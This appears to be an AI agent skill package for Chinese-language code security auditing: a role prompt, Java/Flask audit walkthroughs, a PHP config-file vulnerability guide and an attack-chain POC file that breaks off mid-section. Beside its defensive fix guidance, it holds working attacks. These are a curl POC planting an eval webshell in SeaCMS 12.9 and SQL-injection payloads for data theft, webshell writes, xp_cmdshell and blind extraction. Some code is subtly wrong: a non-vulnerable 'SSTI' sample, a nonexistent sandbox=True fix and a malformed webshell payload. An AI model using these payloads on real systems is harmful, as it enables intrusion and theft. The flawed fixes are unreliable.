Skill: adminlove520/skill-dfyx-code-security-review (version 1.0.1)

--- name: dfyx_code_security_review description: 高级白盒安全审计专家。基于深度数据流分析和业务逻辑理解的专家级代码安全审计工具。 --- # 代码安全审计专家 ## 角色 你是一位高级白盒安全审计专家。基于深度数据流分析和业务逻辑理解的专家级代码安全审计工具。专注于识别高危漏洞、逻辑缺陷及架构风险，通过模拟黑客攻击视角提供精准的修复方案。 ## 审计方法 ### 三层分析法 - **面**: Grep/模式匹配，快速定位高风险区域 - **线**: Read/逐行审计，进行完整数据流追踪 - **点**: 推理/逻辑验证，确认漏洞有效性 ### 10 个安全维度 | # | 维度 | 说明 | |---|------|------| | D1 | 注入 | SQL/Cmd/LDAP/SSTI/SpEL/JNDI | | D2 | 认证 | Token/Session/JWT/Filter chain | | D3 | 授权 | CRUD 权限一致性、IDOR | | D4 | 反序列化 | gadget chains | | D5 | 文件操作 | 上传/下载/路径遍历 | | D6 | SSRF | URL 注入、协议限制 | | D7 | 加密 | 密钥管理、密码模式 | | D8 | 配置 | Actuator、CORS、错误暴露 | | D9 | 业务逻辑 | 竞态条件、Mass Assignment | | D10 | 供应链 | 依赖 CVEs、版本检查 | ## 审计流程 ### Phase 1: 侦察 - 识别所有 API 入口点 - 梳理认证中间件 - 分析技术栈 ### Phase 2: 建模 - 绘制数据流图 - 识别 Source → Sink ### Phase 3: 漏洞挖掘 - Sink-driven: 搜索危险函数 → 追踪输入 - Control-driven: 验证安全控制是否存在 ### Phase 4: 验证 - 确认漏洞有效性 - 评估利用复杂度 ### Phase 5: 报告 - 输出修复建议 - DevSecOps 实践指导 ## 产出 - 项目架构图（Mermaid） - 技术栈分析报告 - 漏洞清单（按优先级排序） - 修复建议 ## 使用方式 ```bash # 分析代码 请审计这个项目的安全问题 # 检查特定漏洞 帮我看看有没有 SQL 注入 # 输出报告 生成一份安全审计报告 ```

path: examples/audit-examples.md
content: # 审计示例

## 1. Java Web应用审计示例

### 1.1 项目概述
- **项目类型**：Spring Boot Web应用
- **技术栈**：Java 11, Spring Boot 2.7.0, MySQL 8.0
- **审计目标**：识别SQL注入、认证绕过、XSS等漏洞

### 1.2 Phase 1: 侦察与绘图

#### 1.2.1 项目结构分析
```java
src/
├── main/
│   ├── java/
│   │   ├── com/example/
│   │   │   ├── controller/
│   │   │   ├── service/
│   │   │   ├── repository/
│   │   │   └── entity/
│   │   └── config/
│   └── resources/
│       ├── application.yml
│       └── static/
└── test/
    └── java/
```

#### 1.2.2 入口点识别
- **Controller层**：
  - `UserController.java` - 用户管理接口
  - `ProductController.java` - 产品管理接口
  - `AdminController.java` - 管理后台接口
- **API路由**：
  - `/api/users/*` - 用户相关API
  - `/api/products/*` - 产品相关API
  - `/api/admin/*` - 管理相关API

#### 1.2.3 Mermaid架构图
```mermaid
flowchart TD
    A[用户请求] --> B[DispatcherServlet]
    B --> C{认证检查}
    C -->|已认证| D[Controller层]
    C -->|未认证| E[登录页面]
    D --> F[Service层]
    F --> G[Repository层]
    G --> H[MySQL数据库]
    D --> I[返回响应]
    
    subgraph 安全控制点
        C
        J[输入验证]
        K[权限检查]
    end
    
    D --> J
    D --> K
```

### 1.3 Phase 2: 并行模式匹配

#### 1.3.1 SQL注入检测
**发现的潜在SQL注入点**：

1. **UserController.java:45**
```java
@GetMapping("/users/{id}")
public User getUserById(@PathVariable Long id) {
    String sql = "SELECT * FROM users WHERE id = " + id;
    return jdbcTemplate.query(sql, new UserRowMapper());
}
```
**风险等级**：High
**修复建议**：使用参数化查询

2. **ProductController.java:78**
```java
@PostMapping("/products/search")
public List<Product> searchProducts(@RequestParam String keyword) {
    String sql = "SELECT * FROM products WHERE name LIKE '%" + keyword + "%'";
    return jdbcTemplate.query(sql, new ProductRowMapper());
}
```
**风险等级**：High
**修复建议**：使用参数化查询

#### 1.3.2 认证绕过检测
**发现的潜在认证绕过点**：

1. **SecurityConfig.java:23**
```java
@Override
protected void configure(HttpSecurity http) throws Exception {
    http
        .authorizeRequests()
            .antMatchers("/api/admin/**").permitAll()  // 管理接口未认证
            .anyRequest().authenticated()
        .and()
        .formLogin();
}
```
**风险等级**：Critical
**修复建议**：移除permitAll()，添加认证检查

#### 1.3.3 XSS检测
**发现的潜在XSS点**：

1. **UserController.java:67**
```java
@GetMapping("/users/{username}")
public String getUserProfile(@PathVariable String username) {
    User user = userService.findByUsername(username);
    return "<div>Welcome, " + user.getName() + "!</div>";  // 未转义输出
}
```
**风险等级**：Medium
**修复建议**：使用HTML转义

### 1.4 Phase 3: 深度污点追踪

#### 1.4.1 数据流追踪
**追踪路径**：`UserController.getUserById()`

1. **Source**：`@PathVariable Long id` (用户输入)
2. **Filter**：无输入验证
3. **Service**：`userService.findById(id)`
4. **Sink**：`jdbcTemplate.query(sql, ...)`

**数据流分析**：
- 用户输入直接拼接到SQL语句
- 缺少输入验证和类型检查
- 存在SQL注入风险

#### 1.4.2 优先级决策
**审计优先级**：
1. **P0 (Critical)**：SecurityConfig.java - 认证绕过
2. **P1 (High)**：UserController.java - SQL注入
3. **P2 (Medium)**：UserController.java - XSS

### 1.5 Phase 4: 验证与攻击链构建

#### 1.5.1 漏洞验证
**SQL注入验证**：
```bash
# 测试SQL注入
curl -X GET "http://example.com/api/users/1 OR 1=1"
```
**预期结果**：返回所有用户数据

**认证绕过验证**：
```bash
# 测试管理接口未认证访问
curl -X GET "http://example.com/api/admin/users"
```
**预期结果**：成功访问管理接口

#### 1.5.2 攻击链构建
**组合攻击链**：
1. 攻击者通过认证绕过访问管理接口
2. 在管理接口中利用SQL注入获取所有用户数据
3. 使用XSS攻击窃取管理员会话

**综合风险等级**：Critical

### 1.6 Phase 5: 结构化报告

#### 1.6.1 漏洞详情
| 编号 | 类型 | 位置 | 严重程度 | 修复建议 |
|------|------|------|----------|----------|
| VULN-001 | SQL注入 | UserController.java:45 | High | 使用参数化查询 |
| VULN-002 | 认证绕过 | SecurityConfig.java:23 | Critical | 添加认证检查 |
| VULN-003 | XSS | UserController.java:67 | Medium | 使用HTML转义 |

#### 1.6.2 修复建议

**SQL注入修复**：
```java
@GetMapping("/users/{id}")
public User getUserById(@PathVariable Long id) {
    String sql = "SELECT * FROM users WHERE id = ?";
    return jdbcTemplate.queryForObject(sql, new Object[]{id}, new UserRowMapper());
}
```

**认证绕过修复**：
```java
@Override
protected void configure(HttpSecurity http) throws Exception {
    http
        .authorizeRequests()
            .antMatchers("/api/admin/**").hasRole("ADMIN")  // 添加角色检查
            .anyRequest().authenticated()
        .and()
        .formLogin();
}
```

**XSS修复**：
```java
@GetMapping("/users/{username}")
public String getUserProfile(@PathVariable String username, Model model) {
    User user = userService.findByUsername(username);
    model.addAttribute("user", user);
    return "user-profile";  // 使用模板自动转义
}
```

## 2. Python Flask应用审计示例

### 2.1 项目概述
- **项目类型**：Flask Web应用
- **技术栈**：Python 3.9, Flask 2.3.0, PostgreSQL 13
- **审计目标**：识别SSTI、SQL注入、CSRF等漏洞

### 2.2 Phase 1: 侦察与绘图

#### 2.2.1 项目结构分析
```python
app/
├── __init__.py
├── routes/
│   ├── __init__.py
│   ├── auth.py
│   ├── user.py
│   └── admin.py
├── services/
│   ├── user_service.py
│   └── product_service.py
├── models/
│   ├── user.py
│   └── product.py
├── templates/
│   ├── index.html
│   └── admin.html
└── config.py
```

#### 2.2.2 入口点识别
- **路由入口**：
  - `/auth/*` - 认证相关路由
  - `/user/*` - 用户相关路由
  - `/admin/*` - 管理相关路由

#### 2.2.3 Mermaid架构图
```mermaid
flowchart TD
    A[用户请求] --> B[Flask路由]
    B --> C{认证检查}
    C -->|已认证| D[路由处理]
    C -->|未认证| E[登录页面]
    D --> F[服务层]
    F --> G[数据模型]
    G --> H[PostgreSQL数据库]
    D --> I[返回响应]
    
    subgraph 安全控制点
        C
        J[输入验证]
        K[权限检查]
    end
    
    D --> J
    D --> K
```

### 2.3 Phase 2: 并行模式匹配

#### 2.3.1 SSTI检测
**发现的潜在SSTI点**：

1. **user.py:34**
```python
@app.route('/user/<username>')
def user_profile(username):
    template = 'Hello {{ user.name }}, welcome to the system!'
    return render_template_string(template, user={'name': username})  # SSTI漏洞
```
**风险等级**：High
**修复建议**：使用安全的模板渲染方法

#### 2.3.2 SQL注入检测
**发现的潜在SQL注入点**：

1. **user_service.py:23**
```python
def get_user_by_id(user_id):
    sql = f"SELECT * FROM users WHERE id = {user_id}"
    return db.execute(sql).fetchone()
```
**风险等级**：High
**修复建议**：使用参数化查询

#### 2.3.3 CSRF检测
**发现的潜在CSRF点**：

1. **admin.py:45**
```python
@app.route('/admin/delete-user', methods=['POST'])
def delete_user():
    user_id = request.form.get('user_id')
    # 缺少CSRF Token验证
    user_service.delete_user(user_id)
    return redirect('/admin/users')
```
**风险等级**：Medium
**修复建议**：添加CSRF Token验证

### 2.4 Phase 3: 深度污点追踪

#### 2.4.1 数据流追踪
**追踪路径**：`user_profile()`

1. **Source**：`username` (用户输入)
2. **Filter**：无输入验证
3. **Service**：`user_service.get_user_by_name(username)`
4. **Sink**：`render_template_string(template, ...)`

**数据流分析**：
- 用户输入直接传递给模板渲染
- 缺少输入验证和沙箱保护
- 存在SSTI风险

#### 2.4.2 优先级决策
**审计优先级**：
1. **P0 (High)**：user.py - SSTI
2. **P1 (High)**：user_service.py - SQL注入
3. **P2 (Medium)**：admin.py - CSRF

### 2.5 Phase 4: 验证与攻击链构建

#### 2.5.1 漏洞验证
**SSTI验证**：
```bash
# 测试SSTI
curl -X GET "http://example.com/user/{{config.__class__.__init__.__globals__['os'].popen('id').read()}}"
```
**预期结果**：执行系统命令

**SQL注入验证**：
```bash
# 测试SQL注入
curl -X GET "http://example.com/api/user/1' OR '1'='1"
```
**预期结果**：返回所有用户数据

#### 2.5.2 攻击链构建
**组合攻击链**：
1. 攻击者利用SSTI获取服务器权限
2. 利用SQL注入获取敏感数据
3. 利用CSRF删除管理员账户

**综合风险等级**：Critical

### 2.6 Phase 5: 结构化报告

#### 2.6.1 漏洞详情
| 编号 | 类型 | 位置 | 严重程度 | 修复建议 |
|------|------|------|----------|----------|
| VULN-001 | SSTI | user.py:34 | High | 使用SandboxedEnvironment |
| VULN-002 | SQL注入 | user_service.py:23 | High | 使用参数化查询 |
| VULN-003 | CSRF | admin.py:45 | Medium | 添加CSRF Token |

#### 2.6.2 修复建议

**SSTI修复**：
```python
@app.route('/user/<username>')
def user_profile(username):
    template = 'Hello {{ user.name }}, welcome to the system!'
    return render_template_string(template, user={'name': username}, sandbox=True)  # 添加沙箱保护
```

**SQL注入修复**：
```python
def get_user_by_id(user_id):
    sql = "SELECT * FROM users WHERE id = %s"
    return db.execute(sql, (user_id,)).fetchone()
```

**CSRF修复**：
```python
@app.route('/admin/delete-user', methods=['POST'])
def delete_user():
    user_id = request.form.get('user_id')
    csrf_token = request.form.get('csrf_token')
    if not validate_csrf_token(csrf_token):
        return "CSRF Token验证失败", 403
    user_service.delete_user(user_id)
    return redirect('/admin/users')
```

## 3. 审计最佳实践

### 3.1 审计流程
1. **系统化审计**：按照五阶段协议逐步执行
2. **优先级管理**：优先审计高风险区域
3. **证据收集**：收集足够的代码证据
4. **验证测试**：对发现的漏洞进行验证
5. **报告生成**：生成详细的审计报告

### 3.2 工具使用
1. **静态分析**：使用SonarQube、Bandit等工具
2. **动态测试**：使用OWASP ZAP、Burp Suite等工具
3. **依赖扫描**：使用Snyk、Safety等工具
4. **配置扫描**：使用Trufflehog、GitLeaks等工具

### 3.3 持续改进
1. **知识库更新**：将新发现的漏洞模式加入知识库
2. **工具优化**：根据审计经验优化工具配置
3. **流程改进**：基于审计结果改进审计流程
4. **技能提升**：学习新的攻击技术和防御方法


path: examples/config-file-vulnerabilities.md
content: # 配置文件漏洞检测

## 1. 配置文件写入漏洞

### 1.1 漏洞原理
配置文件写入漏洞是指应用程序直接将用户输入拼接到配置文件中，导致攻击者可以注入恶意代码。这种漏洞常见于管理后台的系统设置、邮件服务器配置等功能中，允许经过身份验证的攻击者执行任意代码。

**危害**：
- 远程代码执行
- 服务器控制权获取
- 数据泄露
- 持久化攻击
- 绕过安全限制

### 1.2 检测方法

#### 1.2.1 静态代码分析
1. **搜索文件写入操作**：
   - `fopen()` 配合 `fwrite()`
   - `file_put_contents()`
   - `file_get_contents()` 配合 `file_put_contents()`

2. **检查写入内容**：
   - 验证写入内容是否包含用户输入
   - 检查是否直接拼接用户输入到PHP代码中
   - 验证写入文件是否为PHP文件

3. **验证文件路径**：
   - 检查写入文件的路径是否在web可访问目录
   - 验证文件是否会被其他代码包含

#### 1.2.2 动态测试方法
1. **功能测试**：
   - 测试所有系统设置功能
   - 测试邮件服务器配置功能
   - 测试文件管理功能

2. **注入测试**：
   - 尝试注入PHP代码到配置字段
   - 验证注入的代码是否被执行

### 1.3 典型代码模式

#### 1.3.1 危险模式
```php
// 危险模式1：直接拼接用户输入到PHP代码
$smtpserver = $_POST['smtpserver'];
$open = fopen("../data/admin/smtp.php", "w");
$str = '<?php  ';
$str .= '$smtpserver = "';
$str .= $smtpserver; // 直接拼接用户输入
$str .= '"; ';
$str .= '?>';
fwrite($open, $str);
fclose($open);

// 危险模式2：使用file_put_contents直接写入
$config = '<?php $api_key = "' . $_POST['api_key'] . '"; ?>';
file_put_contents('config.php', $config);
```

#### 1.3.2 安全模式
```php
// 安全模式1：使用var_export
$config = array(
    'smtpserver' => $_POST['smtpserver'],
    'smtpserverport' => $_POST['smtpserverport'],
    'smtpusermail' => $_POST['smtpusermail']
);
$open = fopen("../data/admin/smtp.php", "w");
$str = '<?php ';
$str .= '$config = ' . var_export($config, true) . '; ';
$str .= 'extract($config); ';
$str .= '?>';
fwrite($open, $str);
fclose($open);

// 安全模式2：使用JSON格式
$config = array(
    'smtpserver' => $_POST['smtpserver'],
    'smtpserverport' => $_POST['smtpserverport']
);
file_put_contents('config.json', json_encode($config));

// 读取时
$config = json_decode(file_get_contents('config.json'), true);
$smtpserver = $config['smtpserver'];
```

### 1.4 修复建议

#### 1.4.1 代码层面修复
1. **使用安全的配置存储方式**：
   - 使用 `var_export()` 存储配置
   - 使用 JSON 或 INI 格式存储配置
   - 避免直接写入 PHP 代码

2. **输入验证**：
   - 对所有用户输入进行严格验证
   - 过滤特殊字符和PHP代码
   - 使用白名单验证

3. **文件权限控制**：
   - 限制配置文件目录的写入权限
   - 设置配置文件为只读（在写入后）
   - 避免在web可访问目录存储配置文件

#### 1.4.2 架构层面修复
1. **配置管理系统**：
   - 使用专门的配置管理系统
   - 实施配置版本控制
   - 配置变更审计

2. **权限控制**：
   - 限制可以修改配置的用户权限
   - 实施配置修改的双重验证
   - 配置修改日志记录

### 1.5 实例分析：SeaCMS 12.9 邮件服务器配置漏洞

#### 1.5.1 漏洞确认
经过检查 `Upload/admin/admin_smtp.php` 文件，确认存在远程代码执行漏洞。该漏洞位于邮件服务器设置功能中，允许经过身份验证的攻击者执行任意PHP代码。

#### 1.5.2 漏洞分析

**漏洞点**：
- **文件**：`Upload/admin/admin_smtp.php`
- **漏洞行**：第7-39行
- **核心问题**：直接将用户输入拼接到PHP代码中并写入文件

**漏洞代码**：
```php
// 第7行：获取用户输入
$weburl= $_POST['smtpserver']; // 注意：这里变量名错误，应该是 $smtpserver

// 第12-39行：写入配置文件
$open=fopen("../data/admin/smtp.php","w" );
$str='<?php  ';
$str.='$smtpserver = "';
$str.="$smtpserver"; // 这里直接拼接用户输入
$str.='"; ';
// ... 其他变量拼接
$str.=" ?>";
fwrite($open,$str);
fclose($open);
```

**漏洞原理**：
1. **输入接收**：接收 `smtpserver` 等POST参数
2. **代码拼接**：将用户输入直接拼接到PHP代码字符串中
3. **文件写入**：将拼接后的PHP代码写入 `../data/admin/smtp.php`
4. **代码执行**：当其他地方包含 `smtp.php` 时，注入的代码会被执行

#### 1.5.3 攻击链路

**攻击步骤**：
1. **登录后台**：使用合法凭据或通过其他漏洞获取后台访问权限
2. **构造恶意请求**：
   - POST 请求到 `admin/admin_smtp.php?action=set`
   - 参数：`smtpserver=${eval($_POST[1])}`
   - 其他参数任意填写
3. **触发代码执行**：
   - 访问包含 `smtp.php` 的页面，如 `admin/index.php`
   - 或直接访问 `data/admin/smtp.php`
4. **执行命令**：发送包含 `1` 参数的请求

**POC代码**：
```bash
# 登录后台后，构造恶意请求
curl -X POST "http://target.com/admin/admin_smtp.php?action=set" \
  -b cookies.txt \
  -d "smtpserver=\${eval(\$_POST[1])}&smtpserverport=465&smtpusermail=[REDACTED_SECRET]&smtpname=test&smtpuser=[REDACTED_SECRET]&smtppass=123456&smtpreg=off&smtppsw=off"

# 执行命令
curl -X POST "http://target.com/data/admin/smtp.php" \
  -d "1=system('id');"
```

#### 1.5.4 修复方案

**临时修复**：
1. **删除或重命名文件**：暂时移除 `admin_smtp.php` 文件
2. **限制访问**：通过 .htaccess 或服务器配置限制对该文件的访问
3. **监控文件**：监控 `data/admin/smtp.php` 文件的变化

**永久修复**：
```php
// 安全的配置写入方式
$config = array(
    'smtpserver' => $_POST['smtpserver'],
    'smtpserverport' => $_POST['smtpserverport'],
    'smtpusermail' => $_POST['smtpusermail'],
    'smtpname' => $_POST['smtpname'],
    'smtpuser' => $_POST['smtpuser'],
    'smtppass' => $_POST['smtppass'],
    'smtpreg' => $_POST['smtpreg'],
    'smtppsw' => $_POST['smtppsw']
);

// 使用 var_export 安全写入
$open = fopen("../data/admin/smtp.php", "w");
$str = '<?php ';
$str .= '$config = ' . var_export($config, true) . '; ';
$str .= 'extract($config); ';
$str .= '?>';
fwrite($open, $str);
fclose($open);
```

## 2. 配置文件包含漏洞

### 2.1 漏洞原理
配置文件包含漏洞是指应用程序在包含配置文件时，未对文件路径进行严格验证，导致攻击者可以包含恶意文件。这种漏洞常见于使用动态路径包含配置文件的场景中。

**危害**：
- 远程代码执行
- 敏感信息泄露
- 服务器控制权获取
- 绕过安全限制

### 2.2 检测方法

#### 2.2.1 静态代码分析
1. **搜索文件包含操作**：
   - `include()`
   - `require()`
   - `include_once()`
   - `require_once()`

2. **检查包含路径**：
   - 验证包含路径是否包含用户输入
   - 检查是否使用动态路径
   - 验证路径是否经过严格过滤

#### 2.2.2 动态测试方法
1. **路径遍历测试**：
   - 尝试使用 `../` 遍历目录
   - 尝试包含系统文件

2. **远程文件包含测试**：
   - 尝试包含远程文件（如果 allow_url_include 开启）
   - 验证远程代码是否被执行

### 2.3 典型代码模式

#### 2.3.1 危险模式
```php
// 危险模式1：直接使用用户输入作为包含路径
$config_file = $_GET['config'];
include($config_file);

// 危险模式2：使用拼接路径
$module = $_GET['module'];
include('config/' . $module . '.php');

// 危险模式3：使用未过滤的cookie
$theme = $_COOKIE['theme'];
include('themes/' . $theme . '/config.php');
```

#### 2.3.2 安全模式
```php
// 安全模式1：使用白名单
$allowed_configs = array('system', 'database', 'mail');
$config_file = $_GET['config'];
if (in_array($config_file, $allowed_configs)) {
    include('config/' . $config_file . '.php');
} else {
    include('config/system.php');
}

// 安全模式2：使用realpath和目录验证
$config_file = $_GET['config'];
$real_path = realpath('config/' . $config_file . '.php');
$base_dir = realpath('config/');
if (strpos($real_path, $base_dir) === 0) {
    include($real_path);
} else {
    include('config/system.php');
}
```

### 2.4 修复建议

#### 2.4.1 代码层面修复
1. **使用白名单**：
   - 为所有动态包含创建白名单
   - 避免使用用户输入直接构建路径

2. **路径验证**：
   - 使用 `realpath()` 规范化路径
   - 验证路径是否在预期目录内
   - 避免使用相对路径

3. **配置安全**：
   - 禁用 `allow_url_include`
   - 启用 `open_basedir` 限制

#### 2.4.2 架构层面修复
1. **配置管理**：
   - 使用集中式配置管理
   - 避免动态包含配置文件
   - 实施配置缓存

2. **访问控制**：
   - 限制配置文件的访问权限
   - 实施配置文件的读取权限控制

## 3. 配置文件权限漏洞

### 3.1 漏洞原理
配置文件权限漏洞是指应用程序的配置文件权限设置不当，导致攻击者可以读取或修改配置文件。这种漏洞常见于配置文件存储在web可访问目录、权限设置过于宽松的场景中。

**危害**：
- 敏感信息泄露（如数据库凭据、API密钥）
- 配置篡改
- 服务中断
- 进一步攻击的跳板

### 3.2 检测方法

#### 3.2.1 静态代码分析
1. **检查文件权限设置**：
   - 搜索 `chmod()` 调用
   - 验证权限设置是否合理

2. **检查文件存储位置**：
   - 验证配置文件是否存储在web可访问目录
   - 检查是否使用安全的存储位置

#### 3.2.2 动态测试方法
1. **文件访问测试**：
   - 尝试直接访问配置文件
   - 验证是否可以读取配置文件内容

2. **权限测试**：
   - 尝试修改配置文件
   - 验证是否可以写入配置文件

### 3.3 典型代码模式

#### 3.3.1 危险模式
```php
// 危险模式1：配置文件存储在web可访问目录
file_put_contents('config.php', $config); // 存储在web根目录

// 危险模式2：权限设置过于宽松
file_put_contents('data/config.php', $config);
chmod('data/config.php', 0666); // 任何人可读写

// 危险模式3：使用不安全的临时文件
$temp_file = tempnam('/tmp', 'config');
file_put_contents($temp_file, $config);
```

#### 3.3.2 安全模式
```php
// 安全模式1：配置文件存储在web根目录外
file_put_contents('/var/www/config/config.php', $config);

// 安全模式2：合理的权限设置
file_put_contents('data/config.php', $config);
chmod('data/config.php', 0644); // 所有者可读写，其他人可读

// 安全模式3：使用安全的临时文件处理
$temp_file = tempnam(sys_get_temp_dir(), 'config');
file_put_contents($temp_file, $config);
chmod($temp_file, 0600); // 仅所有者可读写
// 使用后删除临时文件
unlink($temp_file);
```

### 3.4 修复建议

#### 3.4.1 代码层面修复
1. **存储位置**：
   - 将配置文件存储在web根目录外
   - 避免在web可访问目录存储敏感配置

2. **权限设置**：
   - 使用最小权限原则
   - 配置文件：0644（所有者可读写，其他人可读）
   - 敏感配置文件：0600（仅所有者可读写）

3. **文件保护**：
   - 使用 `.htaccess` 禁止访问配置文件
   - 设置适当的文件系统权限

#### 3.4.2 架构层面修复
1. **配置管理**：
   - 使用环境变量存储敏感配置
   - 使用专门的配置管理服务
   - 实施配置加密

2. **访问控制**：
   - 限制配置文件目录的访问
   - 实施文件系统级别的访问控制
   - 定期检查配置文件权限

## 4. 配置文件漏洞扫描工具

### 4.1 静态分析工具

#### 4.1.1 PHPStan
- **功能**：静态代码分析工具，可检测配置文件相关漏洞
- **配置示例**：
  ```yaml
  # phpstan.neon
  parameters:
    level: 8
    paths:
      - src
    customRulesetUsed: true
  ```

#### 4.1.2 SonarQube
- **功能**：代码质量和安全分析工具，可检测配置文件漏洞
- **配置示例**：
  ```yaml
  # sonar-project.properties
  sonar.projectKey=my-project
  sonar.projectName=My Project
  sonar.sources=src
  sonar.language=php
  ```

#### 4.1.3 RIPS
- **功能**：专门的PHP安全扫描工具，可检测配置文件漏洞
- **使用示例**：
  ```bash
  rips.php --dir /path/to/project --format html
  ```

### 4.2 动态测试工具

#### 4.2.1 OWASP ZAP
- **功能**：开源Web应用安全扫描工具，可测试配置文件漏洞
- **使用方法**：
  1. 配置目标网站
  2. 启用主动扫描
  3. 测试所有表单和配置功能

#### 4.2.2 Burp Suite
- **功能**：Web应用安全测试工具，可检测配置文件漏洞
- **使用方法**：
  1. 配置代理
  2. 拦截并修改请求
  3. 测试配置字段的注入

### 4.3 自定义扫描脚本

#### 4.3.1 PHP配置文件漏洞扫描脚本
```php
<?php
// 配置文件漏洞扫描脚本
function scan_config_vulnerabilities($directory) {
    $vulnerabilities = array();
    $files = new RecursiveIteratorIterator(new RecursiveDirectoryIterator($directory));
    
    foreach ($files as $file) {
        if ($file->isFile() && $file->getExtension() == 'php') {
            $content = file_get_contents($file->getPathname());
            
            // 检测文件写入操作
            if (preg_match('/fopen.*w.*\$.*_POST|file_put_contents.*\$.*_POST/', $content)) {
                $vulnerabilities[] = array(
                    'file' => $file->getPathname(),
                    'type' => '配置文件写入漏洞',
                    'description' => '可能存在直接拼接用户输入到配置文件的漏洞'
                );
            }
            
            // 检测文件包含操作
            if (preg_match('/include.*\$.*_GET|require.*\$.*_GET/', $content)) {
                $vulnerabilities[] = array(
                    'file' => $file->getPathname(),
                    'type' => '配置文件包含漏洞',
                    'description' => '可能存在直接使用用户输入作为包含路径的漏洞'
                );
            }
        }
    }
    
    return $vulnerabilities;
}

// 使用示例
$results = scan_config_vulnerabilities('/path/to/project');
print_r($results);
?>
```

## 5. 配置文件漏洞防御最佳实践

### 5.1 开发阶段

#### 5.1.1 安全编码规范
1. **配置存储**：
   - 使用 `var_export()` 存储配置
   - 使用 JSON 或 INI 格式存储配置
   - 避免直接写入 PHP 代码

2. **输入验证**：
   - 对所有用户输入进行严格验证
   - 使用白名单验证配置值
   - 过滤特殊字符和PHP代码

3. **文件操作**：
   - 验证文件路径
   - 使用 realpath() 规范化路径
   - 限制文件操作权限

#### 5.1.2 代码审查重点
1. **文件写入操作**：
   - 检查所有文件写入操作
   - 验证写入内容是否包含用户输入
   - 检查文件存储位置是否安全

2. **文件包含操作**：
   - 检查所有文件包含操作
   - 验证包含路径是否安全
   - 检查是否使用动态路径

3. **权限设置**：
   - 检查文件权限设置
   - 验证配置文件存储位置
   - 检查临时文件处理

### 5.2 部署阶段

#### 5.2.1 服务器配置
1. **PHP配置**：
   - 禁用 allow_url_include
   - 启用 open_basedir 限制
   - 配置 disable_functions 禁用危险函数

2. **文件系统权限**：
   - 设置合理的文件权限
   - 限制web服务器用户权限
   - 实施文件系统级别的访问控制

3. **网络配置**：
   - 限制配置文件的网络访问
   - 实施防火墙规则
   - 使用HTTPS保护配置传输

#### 5.2.2 安全监控
1. **文件监控**：
   - 监控配置文件的变化
   - 实施文件完整性监控
   - 配置变更告警

2. **日志监控**：
   - 记录所有配置修改操作
   - 监控异常的文件访问
   - 配置安全事件日志

### 5.3 维护阶段

#### 5.3.1 定期审计
1. **配置文件审计**：
   - 定期检查配置文件权限
   - 验证配置文件内容
   - 检查配置文件存储位置

2. **漏洞扫描**：
   - 定期进行安全扫描
   - 检测配置文件相关漏洞
   - 及时修复发现的问题

#### 5.3.2 应急响应
1. **漏洞响应**：
   - 建立配置文件漏洞响应流程
   - 制定应急修复方案
   - 定期演练应急响应

2. **安全更新**：
   - 及时更新依赖库
   - 应用安全补丁
   - 保持系统和软件的最新状态

## 6. 总结

配置文件漏洞是一种常见但危害严重的安全问题，特别是在管理后台的系统设置、邮件服务器配置等功能中。通过实施本文档中的检测方法和防御最佳实践，可以有效预防和修复配置文件漏洞，提高应用程序的安全性。

**关键要点**：
1. **输入验证**：对所有用户输入进行严格验证
2. **安全存储**：使用 var_export() 或 JSON/INI 格式存储配置
3. **路径验证**：对文件路径进行严格验证和过滤
4. **权限控制**：设置合理的文件权限和访问控制
5. **定期审计**：定期检查配置文件的安全性

通过综合运用这些措施，可以有效防止配置文件漏洞的发生，保护应用程序和服务器的安全。


path: examples/detailed-vulnerability-chains.md
content: # 攻击链与POC

> **本文档用途**: 详细的攻击步骤和可执行的POC代码  
> **目标读者**: 渗透测试人员、安全研究人员  
> **内容特点**: 攻击链分析 + 完整POC + 多语言示例  
> **相关文档**:
> - [漏洞案例库](vulnerability-cases.md) - 查看漏洞案例
> - [漏洞分析方法](vulnerability-analysis.md) - 学习分析思路

---

## 1. SQL注入漏洞

### 1.1 PHP SQL注入详细攻击链

**代码层面攻击链**：
1. **输入接收**：`$id = $_GET['id'];` 直接接收用户输入
2. **SQL拼接**：`$sql = "SELECT * FROM users WHERE id='$id'";` 未过滤直接拼接
3. **SQL执行**：`$result = mysql_query($sql);` 执行恶意SQL语句
4. **结果返回**：`mysql_fetch_array($result);` 返回敏感数据

**具体攻击步骤**：
1. 构造基础注入Payload：`id=1' OR 1=1 --+`
2. 执行联合查询获取数据库结构：`id=1' UNION SELECT table_name,column_name,3 FROM information_schema.columns WHERE table_schema=database() --+`
3. 获取敏感数据：`id=1' UNION SELECT username,password,3 FROM users --+`
4. 写入Webshell（如果有权限）：`id=1' INTO OUTFILE '/var/www/html/shell.php' FIELDS TERMINATED BY '<php>system($_GET[cmd]);</php>' --+`
5. 执行系统命令（如果数据库支持）：`id=1'; EXEC xp_cmdshell('dir') --+`

**完整POC**：
```bash
# 1. 基础注入 - 获取所有用户
curl "http://example.com/user.php?id=1' OR 1=1 --+"

# 2. 联合查询 - 获取数据库结构
curl "http://example.com/user.php?id=1' UNION SELECT table_name,column_name,3 FROM information_schema.columns WHERE table_schema=database() --+"

# 3. 获取敏感数据 - 用户名密码
curl "http://example.com/user.php?id=1' UNION SELECT username,password,3 FROM users --+"

# 4. 时间盲注 - 逐字符获取密码
for i in $(seq 1 32); do 
  for c in $(seq 48 122); do 
    curl -s "http://example.com/user.php?id=1' AND IF(SUBSTRING((SELECT password FROM users WHERE username='admin'),$i,1)=CHAR($c),SLEEP(2),1) --+" | wc -m | grep -q 0 && echo -n "$(printf "\\x$(printf %x $c)")" && break;
  done;
done

# 5. 宽字节注入（GBK编码）
curl "http://example.com/user.php?id=1%df' OR 1=1 --+"
```

### 1.2 Java SQL注入详细攻击链

**代码层面攻击链**：
1. **输入接收**：`String id = request.getParameter("id");` 直接接收用户输入
2. **SQL拼接**：`String sql = "SELECT id, name, url FROM websites where id=" + id;` 未过滤直接拼接
3. **Statement创建**：`Statement stmt = conn.createStatement();` 创建普通Statement
4. **SQL执行**：`ResultSet rs = stmt.executeQuery(sql);` 执行恶意SQL语句
5. **结果处理**：遍历ResultSet返回敏感数据

**具体攻击步骤**：
1. 构造基础注入Payload：`id=1 OR 1=1`
2. 执行联合查询获取数据库信息：`id=1 UNION SELECT table_name, column_name, 3 FROM information_schema.columns WHERE table_schema=database()`
3. 获取敏感数据：`id=1 UNION SELECT username, password, 3 FROM users`
4. 绕过认证：`id=1 OR username='admin'`

**完整POC**：
```bash
# 1. 基础注入 - 获取所有数据
curl "http://example.com/sqltestServlet?id=1 OR 1=1"

# 2. 联合查询 - 获取数据库结构
